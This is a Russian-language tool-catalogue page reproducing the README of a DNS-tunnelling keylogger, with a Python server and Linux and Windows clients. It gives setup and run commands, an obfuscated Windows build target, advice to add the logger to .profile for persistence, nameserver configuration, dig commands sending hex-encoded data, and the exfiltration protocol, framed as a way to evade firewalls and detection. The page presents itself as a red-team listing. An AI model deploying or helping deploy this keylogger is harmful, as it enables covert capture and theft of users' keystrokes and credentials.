Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
DNS-Tunnel-Keylogger — Сервер и клиент кейлоггера, использующие DNS-туннелирование/экфильтрацию для передачи нажатий клавиш через межсетевые экраны. | Kitploit
Инструменты/GitHubGitHub/geeoon/dns-tunnel-keylogger
Эксфильтрация данныхПост-эксплуатацияКомандование и УправлениеRed TeamingАнализ DNS
GitHubgeeoon/dns-tunnel-keylogger

DNS-Tunnel-Keylogger

Сервер и клиент кейлоггера, использующие DNS-туннелирование/экфильтрацию для передачи нажатий клавиш через межсетевые экраны.

Репозиторий
280452 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

DNS Tunnel Keylogger

Этот постинсталляционный кейлоггер незаметно пересылает нажатия клавиш на сервер.

Эти инструменты отлично подходят для лёгкой передачи данных и обеспечения устойчивости, что предотвращает их обнаружение. Для обхода файрволов и избежания обнаружения используется DNS-туннелирование/эксфильтрация.

Сервер

Настройка

Сервер использует python3.

Чтобы установить зависимости, выполните python3 -m pip install -r requirements.txt

Запуск сервера

Чтобы запустить сервер, выполните python3 main.py

root@kitploit:~
usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
  ip
  domain

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

По умолчанию сервер слушает UDP-порт 53. Для указания другого порта используйте флаг -p.

ip — IP-адрес сервера. Он используется в записях SOA и NS, которые позволяют другим серверам имён находить этот сервер.

domain — домен, который ожидается; сервер должен быть авторитетным для этого домена.

Регистратор

В панели регистратора вам нужно изменить пространство имён вашего домена на пользовательские DNS.

Укажите два домена: ns1.example.com и ns2.example.com.

Custom DNS on Spaceship

Добавьте записи, которые указывают домены пространства имён на IP-адрес вашего сервера эксфильтрации.

Personal Nameservers on Spaceship

Это равносильно настройке glue records.

Клиент

Linux

Кейлоггер для Linux состоит из двух bash-скриптов. connection.sh используется скриптом logger.sh для отправки нажатий клавиш на сервер. Если вы хотите передать данные вручную (например, файл), вы можете направить их через конвейер в скрипт connection.sh. Он автоматически установит соединение и отправит данные.

logger.sh

root@kitploit:~
Usage: logger.sh [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -p path: give path to log file to listen to
  -l: run the logger with warnings and errors printed

Чтобы запустить кейлоггер, выполните команду ./logger.sh [domain] && exit. Это запустит кейлоггер в автоматическом режиме, и все вводимые символы будут отправлены. Команда && exit в конце приведёт к закрытию оболочки при выходе. Без неё при выходе вы вернётесь в оболочку без кейлоггера. Удалите &> /dev/null, чтобы отображать сообщения об ошибках.

Параметр -p указывает расположение временного файла журнала, в который записываются все вводимые данные. По умолчанию это /tmp/.

Параметр -l включает отображение предупреждений и ошибок. Полезен для отладки.

logger.sh и connection.sh должны находиться в одной директории, чтобы кейлоггер работал. Для обеспечения устойчивости добавьте команду в .profile, чтобы он запускался при каждом новом интерактивном сеансе.

connection.sh

root@kitploit:~
Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -n: number of characters to store before sending a packet

Windows

Сборка

Для сборки программы-кейлоггера выполните make в каталоге windows. Чтобы собрать с уменьшенным размером и некоторой степенью обфускации, укажите цель production. При этом будет создан каталог build, а результат будет помещён в файл logger.exe внутри него. Я тестировал сборку только с MinGW на Windows 10. Если вы попытаетесь использовать g++ на машине не под Windows, скорее всего, получите ошибки сборки, связанные с windows.h.

make production domain=example.com

Вы также можете собрать программу с отладкой, указав цель debug.

make debug domain=example.com

Для обеих целей необходимо указать домен, который слушает сервер.

Отправка тестовых запросов

Вы можете использовать dig для отправки запросов на сервер:

dig @127.0.0.1 a.1.1.1.example.com A +short — отправляет запрос на соединение к серверу на localhost.

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short — отправляет тестовое сообщение на localhost.

Замените example.com на домен, который слушает сервер.

Протокол

Установка соединения

Запросы типа A, начинающиеся с a, обозначают начало «соединения». Когда сервер получает их, он отвечает фиктивным незарезервированным IP-адресом, в последнем октете которого содержится идентификатор клиента.

Формат для начала соединения: a.1.1.1.[sld].[tld].

Сервер отвечает IP-адресом в формате: 123.123.123.[id]

Одновременно может быть не более 254 соединений; клиенты никогда не считаются «отключёнными».

Эксфильтрация данных

Запросы типа A, начинающиеся с b, обозначают отправку эксфильтрованных данных на сервер.

Формат для отправки данных после установки соединения: b.[packet #].[id].[data].[sld].[tld].

Сервер отвечает [code].123.123.123

id — это идентификатор, полученный при соединении. Данные передаются в виде ASCII, закодированном в hex.

code — один из кодов, описанных ниже.

Коды ответов

200: OK

Если клиент отправляет запрос, который обрабатывается нормально, сервер отвечает кодом 200.

201: Malformed Record Requests

Если клиент отправляет некорректный запрос записи, сервер отвечает кодом 201.

202: Non-Existant Connections

Если клиент отправляет пакет данных с id, превышающим количество соединений, сервер отвечает кодом 202.

203: Out of Order Packets

Если клиент отправляет пакет с id, не соответствующим ожидаемому, сервер отвечает кодом 203. Клиенты и серверы должны сбросить номера пакетов на 0. Затем клиент может повторно отправить пакет с новым id.

204: Reached Max Connection

Если клиент пытается установить соединение, когда достигнут максимум, сервер отвечает кодом 204.

Потерянные пакеты

Клиенты должны полагаться на ответы как на подтверждение получения пакетов. Если ответ не получен, они должны повторно отправить ту же полезную нагрузку.

Дополнительные замечания

Linux

Файл журнала

Файл журнала, содержащий ввод пользователя, включает управляющие символы ASCII, такие как backspace, delete и возврат каретки. Если вы выводите содержимое с помощью, например, cat, следует выбрать соответствующую опцию для отображения управляющих символов, например -v для cat, или открыть файл в текстовом редакторе.

Неинтерактивные оболочки

Кейлоггер использует script, поэтому он не будет работать в неинтерактивных оболочках.

Windows

Повторные запросы

По какой-то причине Windows Dns_Query_A всегда отправляет дублирующие запросы. Сервер обработает их корректно, так как отбрасывает повторные пакеты.

Скачать инструмент